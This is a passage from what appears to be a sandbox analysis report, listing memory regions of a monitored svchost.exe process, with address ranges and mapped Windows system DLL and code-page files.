0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 1291 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 1292 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 1293 start_va = 0x54f0000 end_va = 0x55effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054f0000" filename = "" Region: id = 1294 start_va = 0x55f0000 end_va = 0x55f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 1295 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 1296 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 1297 start_va = 0x5800000 end_va = 0x587ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 1298 start_va = 0x5880000 end_va = 0x597ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005880000" filename = "" Region: id = 1299 start_va = 0x5a00000 end_va = 0x5a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 1300 start_va = 0x5a80000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 1301 start_va = 0x5b80000 end_va = 0x5c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 1302 start_va = 0x5c80000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 1303 start_va = 0x5e80000 end_va = 0x5f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 1304 start_va = 0x5f80000 end_va = 0x607ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 1305 start_va = 0x6080000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006080000" filename = "" Region: id = 1306 start_va = 0x6180000 end_va = 0x627ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006180000" filename = "" Region: id = 1307 start_va = 0x63c0000 end_va = 0x64bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063c0000" filename = "" Region: id = 1308 start_va = 0x6560000 end_va = 0x6564fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 1309 start_va = 0x6570000 end_va = 0x657ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 1310 start_va = 0x6590000 end_va = 0x6596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006590000" filename = "" Region: id = 1311 start_va = 0x65a0000 end_va = 0x669ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000065a0000" filename = "" Region: id = 1312 start_va = 0x66a0000 end_va = 0x66b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 1313 start_va = 0x66c0000 end_va = 0x66d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1314 start_va = 0x66e0000 end_va = 0x66f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 1315 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 1316 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 1317 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 1318 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 1319 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 1320 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 1321 start_va = 0x6d00000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 1322 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 1323 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 1324 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 1325 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 1326 start_va = 0x7300000 end_va = 0x7310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 1327 start_va = 0x7320000 end_va = 0x7330fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 1328 start_va = 0x7340000 end_va = 0x7350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 1329 start_va = 0x7360000 end_va = 0x7370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 1330 start_va = 0x7380000 end_va = 0x73a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 1331 start_va = 0x73b0000 end_va = 0x73e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 1332 start_va = 0x73f0000 end_va = 0x7400fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 1333 start_va = 0x7410000 end_va = 0x7420fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 1334 start_va = 0x7430000 end_va = 0x7460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 1335 start_va = 0x7470000 end_va = 0x74a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 1336 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 1337 start_va = 0x7600000 end_va = 0x76fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007600000" filename = "" Region: id = 1338 start_va = 0x79a0000 end_va = 0x7a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079a0000" filename = "" Region: id = 1339 start_va = 0x7b00000 end_va = 0x7bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b00000" filename = "" Region: id = 1340 start_va = 0x81a0000 end_va = 0x829ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081a0000" filename = "" Region: id = 1341 start_va = 0x8ca0000 end_va = 0x8d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008ca0000" filename = "" Region: id = 1342 start_va = 0x90a0000 end_va = 0x919ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000090a0000" filename = "" Region: id = 1343 start_va = 0x93a0000 end_va = 0x949ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000093a0000" filename = "" Region: id = 1344 start_va = 0x94a0000 end_va = 0x959ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094a0000" filename = "" Region: id = 1345 start_va = 0x95a0000 end_va = 0x969ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000095a0000" filename = "" Region: id = 1346 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1347 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1348 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1349 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1350 start_va = 0x7ff6bac60000 end_va = 0x7ff6bac6cfff monitored = 0 entry_point = 0x7ff6bac63980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1351 start_va = 0x7ffb0acc0000 end_va = 0x7ffb0acc7fff monitored = 0 entry_point = 0x7ffb0acc13b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 1352 start_va = 0x7ffb0aec0000 end_va = 0x7ffb0aed6fff monitored = 0 entry_point = 0x7ffb0aec7520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 1353 start_va = 0x7ffb0af00000 end_va = 0x7ffb0b1affff monitored = 0 entry_point = 0x7ffb0af01cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1354 start_va = 0x7ffb0b360000 end_va = 0x7ffb0b3a3fff monitored = 0 entry_point = 0x7ffb0b3883e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 1355 start_va = 0x7ffb0b3b0000 end_va = 0x7ffb0b40cfff monitored = 0 entry_point = 0x7ffb0b3de510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 1356 start_va = 0x7ffb0ce80000 end_va = 0x7ffb0cf8efff monitored = 0 entry_point = 0x7ffb0cebc010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 1357 start_va = 0x7ffb0cfd0000 end_va = 0x7ffb0d00efff monitored = 0 entry_point = 0x7ffb0cff82d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1358 start_va = 0x7ffb0d0e0000 end_va = 0x7ffb0d0f7fff monitored = 0 entry_point = 0x7ffb0d0eb850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 1359 start_va = 0x7ffb0de90000 end_va = 0x7ffb0dea0fff monitored = 0 entry_point = 0x7ffb0de928d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 1360 start_va = 0x7ffb0e3c0000 end_va = 0x7ffb0e4dcfff monitored = 0 entry_point = 0x7ffb0e3efe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1361 start_va = 0x7ffb0e4e0000 end_va = 0x7ffb0e511fff monitored = 0 entry_point = 0x7ffb0e4eb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1362 start_va = 0x7ffb0e520000 end_va = 0x7ffb0e586fff monitored = 0 entry_point = 0x7ffb0e52b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1363 start_va = 0x7ffb0f0a0000 end_va = 0x7ffb0f0b3fff monitored = 0 entry_point = 0x7ffb0f0a2a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1364 start_va = 0x7ffb0f2d0000 end_va = 0x7ffb0f2e7fff monitored = 0 entry_point = 0x7ffb0f2d1b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 1365 start_va = 0x7ffb0f2f0000 end_va = 0x7ffb0f30cfff monitored = 0 entry_point = 0x7ffb0f2f4f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1366 start_va = 0x7ffb10ae0000 end_va = 0x7ffb10b15fff monitored = 0 entry_point = 0x7ffb10ae27f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 1367 start_va = 0x7ffb10e10000 end_va = 0x7ffb10e20fff monitored = 0 entry_point = 0x7ffb10e17480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 1368 start_va = 0x7ffb10e30000 end_va = 0x7ffb10eb3fff monitored = 0 entry_point = 0x7ffb10e48d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1369 start_va = 0x7ffb10f40000 end_va = 0x7ffb10f55fff monitored = 0 entry_point = 0x7ffb10f455e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1370 start_va = 0x7ffb10f60000 end_va = 0x7ffb11035fff monitored = 0 entry_point = 0x7ffb10f8a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1371 start_va = 0x7ffb11040000 end_va = 0x7ffb110a3fff monitored = 0 entry_point = 0x7ffb1105bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1372 start_va = 0x7ffb110b0000 end_va = 0x7ffb110d4fff monitored = 0 entry_point = 0x7ffb110b9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1373 start_va = 0x7ffb110e0000 end_va = 0x7ffb110f3fff monitored = 0 entry_point = 0x7ffb110e1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1374 start_va = 0x7ffb11100000 end_va = 0x7ffb111f5fff monitored = 0 entry_point = 0x7ffb11139590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1375 start_va = 0x7ffb11200000 end_va = 0x7ffb11273fff monitored = 0 entry_point = 0x7ffb11215eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1376 start_va = 0x7ffb11280000 end_va = 0x7ffb113b6fff monitored = 0 entry_point = 0x7ffb112c0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1377 start_va = 0x7ffb11470000 end_va = 0x7ffb11485fff monitored = 0 entry_point = 0x7ffb11471af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1378 start_va = 0x7ffb11490000 end_va = 0x7ffb114a9fff monitored = 0 entry_point = 0x7ffb11492330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1379 start_va = 0x7ffb114b0000 end_va = 0x7ffb114bcfff monitored = 0 entry_point = 0x7ffb114b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1380 start_va = 0x7ffb115e0000 end_va = 0x7ffb115eefff monitored = 0 entry_point = 0x7ffb115e4960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1381 start_va = 0x7ffb11680000 end_va = 0x7ffb11690fff monitored = 0 entry_point = 0x7ffb11682fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1382 start_va = 0x7ffb116a0000 end_va = 0x7ffb116bdfff monitored = 0 entry_point = 0x7ffb116a3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1383 start_va = 0x7ffb116c0000 end_va = 0x7ffb11741fff monitored = 0 entry_point = 0x7ffb116c2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1384 start_va = 0x7ffb12610000 end_va = 0x7ffb12651fff monitored = 0 entry_point = 0x7ffb12613670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1385 start_va = 0x7ffb12660000 end_va = 0x7ffb126a5fff monitored = 0 entry_point = 0x7ffb126679a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 1386 start_va = 0x7ffb126b0000 end_va = 0x7ffb126effff monitored = 0 entry_point = 0x7ffb126bcbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 1387 start_va = 0x7ffb126f0000 end_va = 0x7ffb12736fff monitored = 0 entry_point = 0x7ffb126f1d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 1388 start_va = 0x7ffb12740000 end_va = 0x7ffb1275efff monitored = 0 entry_point = 0x7ffb127437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 1389 start_va = 0x7ffb12760000 end_va = 0x7ffb127d8fff monitored = 0 entry_point = 0x7ffb127676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 1390 start_va = 0x7ffb127f0000 end_va = 0x7ffb12807fff monitored = 0 entry_point = 0x7ffb127f4e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 1391 start_va = 0x7ffb12810000 end_va = 0x7ffb12834fff monitored = 0 entry_point = 0x7ffb12815ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 1392 start_va = 0x7ffb12850000 end_va = 0x7ffb12890fff monitored = 0 entry_point = 0x7ffb12853750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1393 start_va = 0x7ffb128a0000 end_va = 0x7ffb12992fff monitored = 0 entry_point = 0x7ffb128c5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1394 start_va = 0x7ffb12a60000 end_va = 0x7ffb12a77fff monitored = 0 entry_point = 0x7ffb12a62000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1395 start_va = 0x7ffb12a80000 end_va = 0x7ffb12c01fff monitored = 0 entry_point = 0x7ffb12a982a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1396 start_va = 0x7ffb12c10000 end_va = 0x7ffb12cb2fff monitored = 0 entry_point = 0x7ffb12c12c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1397 start_va = 0x7ffb12cc0000 end_va = 0x7ffb12d11fff monitored = 0 entry_point = 0x7ffb12cc5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1398 start_va = 0x7ffb12d40000 end_va = 0x7ffb12d6dfff monitored = 1 entry_point = 0x7ffb12d42300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 1399 start_va = 0x7ffb12d70000 end_va = 0x7ffb12dcdfff monitored = 0 entry_point = 0x7ffb12d75080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 1400 start_va = 0x7ffb12dd0000 end_va = 0x7ffb12deffff monitored = 0 entry_point = 0x7ffb12dd1f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 1401 start_va = 0x7ffb12df0000 end_va = 0x7ffb12df8fff monitored = 0 entry_point = 0x7ffb12df18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 1402 start_va = 0x7ffb12e00000 end_va = 0x7ffb12e10fff monitored = 0 entry_point = 0x7ffb12e01d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1403 start_va = 0x7ffb12f30000 end_va = 0x7ffb12faefff monitored = 0 entry_point = 0x7ffb12f47110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1404 start_va = 0x7ffb12fb0000 end_va = 0x7ffb12febfff monitored = 0 entry_point = 0x7ffb12fb6aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1405 start_va = 0x7ffb13040000 end_va = 0x7ffb1308bfff monitored = 0 entry_point = 0x7ffb13055310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1406 start_va = 0x7ffb13090000 end_va = 0x7ffb1309bfff monitored = 0 entry_point = 0x7ffb130935c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1407 start_va = 0x7ffb14500000 end_va = 0x7ffb14534fff monitored = 0 entry_point = 0x7ffb1450a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 1408 start_va = 0x7ffb16be0000 end_va = 0x7ffb16beffff monitored = 0 entry_point = 0x7ffb16be1690 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 1409 start_va = 0x7ffb16bf0000 end_va = 0x7ffb16e69fff monitored = 0 entry_point = 0x7ffb16c0a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 1410 start_va = 0x7ffb18160000 end_va = 0x7ffb18172fff monitored = 0 entry_point = 0x7ffb18161b10 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1411 start_va = 0x7ffb18180000 end_va = 0x7ffb18201fff monitored = 0 entry_point = 0x7ffb18181790 region_type = mapped_file name = "newdev.dll" filename = "\\Windows\\System32\\newdev.dll" (normalized: "c:\\windows\\system32\\newdev.dll") Region: id = 1412 start_va = 0x7ffb18210000 end_va = 0x7ffb18293fff monitored = 0 entry_point = 0x7ffb18222830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1413 start_va = 0x7ffb182a0000 end_va = 0x7ffb18304fff monitored = 0 entry_point = 0x7ffb182b3170 region_type = mapped_file name = "wuuhext.dll" filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll") Region: id = 1414 start_va = 0x7ffb18310000 end_va = 0x7ffb18608fff monitored = 0 entry_point = 0x7ffb183d7280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1415 start_va = 0x7ffb18610000 end_va = 0x7ffb18845fff monitored = 0 entry_point = 0x7ffb1869a450 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1416 start_va = 0x7ffb19500000 end_va = 0x7ffb19521fff monitored = 0 entry_point = 0x7ffb19512540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 1417 start_va = 0x7ffb19530000 end_va = 0x7ffb19604fff monitored = 0 entry_point = 0x7ffb1954cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1418 start_va = 0x7ffb196d0000 end_va = 0x7ffb1970ffff monitored = 0 entry_point = 0x7ffb196e6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1419 start_va = 0x7ffb19750000 end_va = 0x7ffb19a89fff monitored = 0 entry_point = 0x7ffb19758520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1420 start_va = 0x7ffb1a000000 end_va = 0x7ffb1a009fff monitored = 0 entry_point = 0x7ffb1a001350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1421 start_va = 0x7ffb1a350000 end_va = 